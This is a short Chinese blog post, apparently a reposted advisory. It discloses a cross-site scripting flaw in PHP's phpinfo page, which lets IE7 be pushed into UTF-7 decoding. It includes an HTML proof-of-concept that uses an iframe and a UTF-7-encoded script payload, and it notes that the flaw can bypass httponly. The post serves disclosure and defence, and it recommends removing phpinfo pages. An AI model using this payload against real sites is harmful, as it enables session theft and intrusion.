phpinfo跨站脚本漏洞

最新推荐文章于 2024-05-14 03:37:45 发布

hackiis

最新推荐文章于 2024-05-14 03:37:45 发布

阅读量1.2k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： ‖漏洞公布‖ 文章标签：脚本 iframe 浏览器 ie php html

本文链接：https://blog.youkuaiyun.com/hackiis/article/details/2914209

‖漏洞公布‖ 专栏收录该内容

14 篇文章

订阅专栏

本文介绍了一个存在于 PHPInfo 页面的跨站脚本 (XSS) 漏洞，该漏洞允许攻击者绕过过滤机制并在目标浏览器中执行恶意脚本。详细解释了漏洞产生的原因，并给出了在 IE7 和 PHP 5.2.6 下测试成功的利用代码示例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

洞成因： phpinfo页面对输入的参数都做了详细的过滤，但是没有对输出的进行charset的指定，而在一些浏览器里如IE7里，你可以让它自动选择编码或者通过一个iframe页面给它指定编码，这样就可以饶过phpinfo的过滤而产生一个跨站脚本漏洞。

漏洞来源: http://www.80sec.com/release/phpinfo-xss.txt

漏洞利用：利用代码如下：

<html>
<head>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</head>
<body>
<iframe src="http://www.80sec.com/phpinfo.php?+ADw-SCRIPT+AD4-alert(document.domain);+ADw-/SCRIPT+AD4-=1">

以上代码在IE7+php 5.2.6测试成功。phpinfo页面的xss甚至比其他页面更加危险，因为如果有phpinfo的存在，恶意攻击者可以利用phpinfo的输出bypass如httponly和一些基础认证。

漏洞影响：影响所有版本的php和浏览器IE7
漏洞修补：建议暂时删除站点的phpinfo页面避免被人利用。